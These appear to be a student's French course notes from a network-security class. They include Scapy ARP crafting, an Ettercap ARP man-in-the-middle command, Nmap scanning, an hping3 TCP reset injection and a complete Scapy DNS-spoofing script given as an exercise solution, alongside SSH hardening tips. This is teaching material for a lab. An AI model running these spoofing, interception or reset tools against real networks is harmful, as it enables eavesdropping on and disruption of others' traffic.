---
tags: TCOM
title: SWRAD
---
# SWRAD
## Mail
qgx.prof@gmail.com
## Liens
cvedetails.com : Site de recensement des failles sur des équipements réseaux
## Scapy
### Envoie d'une requette ARP
```python=1
#! /usr/bin/env python3
from scapy.all import *
conf.L3socket = L3RawSocket
p = Ether(dst="FF:FF:FF:FF:FF:FF",
src="9c:b6:d0:ee:b7:21")/ARP(op="who-has",
hwdst="00:00:00:00:00:00", pdst="10.41.169.64",
hwsrc="9c:b6:d0:ee:b7:21", psrc="10.41.178.147")
sendp(p)
```
## Ettercap
### Man in the middle
Pour lancer le man in the middle il faut lancer cette commande sur la machine de l'attaquant :
```
sudo ettercap -T -M arp /10.41.169.64// /10.41.254.254//
```
Pour verrifier si il a fonctionné il faut lancer wireshark et filter les resultats avec le filtre :
```
icmp.type==8
```
La victime doit lancer `ping 9.9.9.9` par exemple et on le verra sur le wireshark de l'attaquant.
ettercap route les packets vers la gateway tout seul.
## Dénis de service
Un dénis de service peut être fait en se faisaiant passer pour un switch ors de la phase d'élection de la root.
Par défaut il faut désactiver le STP sur les port des switch qui ne le necessite pas.
## Exploration de réseau
### Nmap
List des machines sur le réseau :
```
nmap -n -sn 10.41.0.0/16
```
### Traceroute
Permet de savoir par ou passe nos packets sur Internet.
```
kali@kali:~$ sudo traceroute -T epita.fr
traceroute to epita.fr (151.101.66.159), 30 hops max, 60 byte packets
1 10.41.254.254 (10.41.254.254) 4.244 ms 4.218 ms 4.207 ms
2 ro-ss-7600.int.ionis-it.com.0.0.10.in-addr.arpa (10.0.0.161) 2.716 ms 3.549 ms 4.179 ms
3 ro-9000.int.ionis-it.com (10.0.1.254) 4.170 ms 4.162 ms 4.153 ms
4 * * *
5 ro-9000-fw-th2-prs-gw.ionis-it.com (163.5.2.0) 4.728 ms * *
6 100.100.0.22 (100.100.0.22) 5.296 ms 8.986 ms 8.361 ms
7 100.99.0.9 (100.99.0.9) 4.523 ms 4.962 ms 6.382 ms
8 100.99.0.7 (100.99.0.7) 6.358 ms 100.99.0.3 (100.99.0.3) 6.335 ms 6.314 ms
9 * * 100.99.0.45 (100.99.0.45) 7.049 ms
10 * fastly_s.equinix-ix.fr (195.42.145.132) 7.003 ms *
11 151.101.66.159 (151.101.66.159) 7.880 ms * *
```
Les lignes avec `* * *` représente des routeurs qui ne renvoie pas de réponse ICMP.
### Scapy
```
! /usr/bin/env python3
from scapy.all import *
res, unans = traceroute(["assistants.epita.fr", "www.epita.fr", "ssi.gouv.fr"], dport=80, maxttl=20, retry=-2)
res.graph(target="> ./graph.svg")
```
## Exercice pour le prochain cours (9 octobre)
Exercice page 23
Correction possible :
```python
#!/usr/bin/env python
# nom.prénom - TCOM 2021
# python 3.8.5
from scapy.all import *
conf.L3socket = L3RawSocket
dnsserv = "8.8.8.8"
dnsport = 53
domain = "www.google.fr"
domain_dot = domain + "."
dns_qtypes = ["A", "AAAA"]
domain_ip = []
interface="eth0"
case1_spoof_ip = "1.2.3.4"
case1_spoof_port = 44
case2_spoof_ip = "::2"
case2_spoof_port = 44
case3_spoof_exchange = "mail.swrad"
case3_spoof_preference = 40
def spoofer(packet):
if IP in packet and packet.haslayer(DNS) and packet.getlayer(DNS).qr == 0:
dns_qr = packet.getlayer(DNSQR)
if dns_qr.qname.decode() == domain_dot and dns_qr.qtype == 1: # 1 = Type A
to_send = IP(dst=packet[IP].src, src=packet[IP].dst)/ \
UDP(dport=packet[UDP].sport)/ \
DNS(id=packet[DNS].id, qr=1, aa=0,
qd=packet[DNS].qd, qdcount=1, \
ancount=1, nscount=0, arcount=0, \
an=(DNSRR(rrname=dns_qr.qname.decode(), \
type='A', \
ttl=case1_spoof_port, \
rdata=case1_spoof_ip)), \
ns=None)
send(to_send, verbose=0)
print(domain_dot + " A? => " + case1_spoof_ip)
elif dns_qr.qname.decode() == domain_dot and dns_qr.qtype == 28: # 28 = Type AAAA
to_send = IP(dst=packet[IP].src, src=packet[IP].dst)/ \
UDP(dport=packet[UDP].sport)/ \
DNS(id=packet[DNS].id, qr=1, aa=0, \
qd=packet[DNS].qd, qdcount=1, \
ancount=1, nscount=0, arcount=0, \
an=(DNSRR(rrname=dns_qr.qname, \
type='AAAA', \
ttl=case2_spoof_port, \
rdata=case2_spoof_ip)), \
ns=None)
send(to_send, verbose=0)
print(domain_dot + " AAAA? => " + case2_spoof_ip)
elif dns_qr.qname.decode() == domain_dot and dns_qr.qtype == 15: # 15 = Type MX
to_send = IP(dst=packet[IP].src, src=packet[IP].dst)/ \
UDP(dport=packet[UDP].sport)/ \
DNS(id=packet[DNS].id, qr=1, aa=0, \
qd=packet[DNS].qd, qdcount=1, \
ancount=1, nscount=0, arcount=0, \
an=(DNSRRMX(rrname=dns_qr.qname, \
type='MX', \
preference=case3_spoof_preference, \
exchange=case3_spoof_exchange)), \
ns=None)
send(to_send, verbose=0)
print(domain_dot + " MX? => " + case3_spoof_exchange)
else:
qtype_field = dns_qr.get_field('qtype')
print(dns_qr.qname.decode() + " " + qtype_field.i2repr(dns_qr, dns_qr.qtype) + "?")
for dns_qtype in dns_qtypes:
dnsreq = IP(dst=dnsserv)/UDP(dport=dnsport)/DNS(rd=1, qd=DNSQR(qname=domain, qtype=dns_qtype)) # rd = Recursion Desired
dnsres = sr1(dnsreq, verbose=0)
domain_ip.append(dnsres.an.rdata)
print(domain + " " + dns_qtype + " " + dnsres.an.rdata)
domain_ip_A = domain_ip[0]
domain_ip_AAAA = domain_ip[1]
sniff(count=0, iface=interface, filter="udp port 53", prn=spoofer)
```
## TCP RST
Avec cette exercice on ferme un connexion TCP entre deux machines.
Commande Serveur :
```
nc -l -p 1234
```
Commande Client :
```
nc 127.0.0.1 1234
```
Commande tcpdump :
```
tcpdump -n -i lo -S "src port 1234"
```
Commande Attaquant :
```
hping3 -p 1234 -s 32836 -R -M 2948493844 127.0.0.1
```
- `-s 32836` : Port source à changer, on trouve le sur tcpdump
Il est possible d'inverser -s et -p, cela va envoyer la déconnexion au client ou au serveur. *(Dans la commande ci-dessus on déconnect le serveur)*
- `-M 2948493844` : Numéro de séquance à changer, on le trouve sur tcpdump
## Le port knocking
[Wikipedia (port knocking)](https://fr.wikipedia.org/wiki/Port_knocking)
## Comment sécuriser un serveur SSH
On refuse la connexion par mot de passe et on authorise que la connexion par échange de clé.
Le mieux est d'empécher la connexion root.
Dans le fichier de configuration (souvent `/etc/ssh/sshd_config`) on devrait avoir au moins :
```
PermitRootLogin no
PubkeyAuthentication yes
PasswordAuthentication no
```
## DDoS par amplification DNS
Explication simplifié d'un DDoS par amplifiacation DNS : [Article Cloudflare](https://www.cloudflare.com/fr-fr/learning/ddos/dns-amplification-ddos-attack/)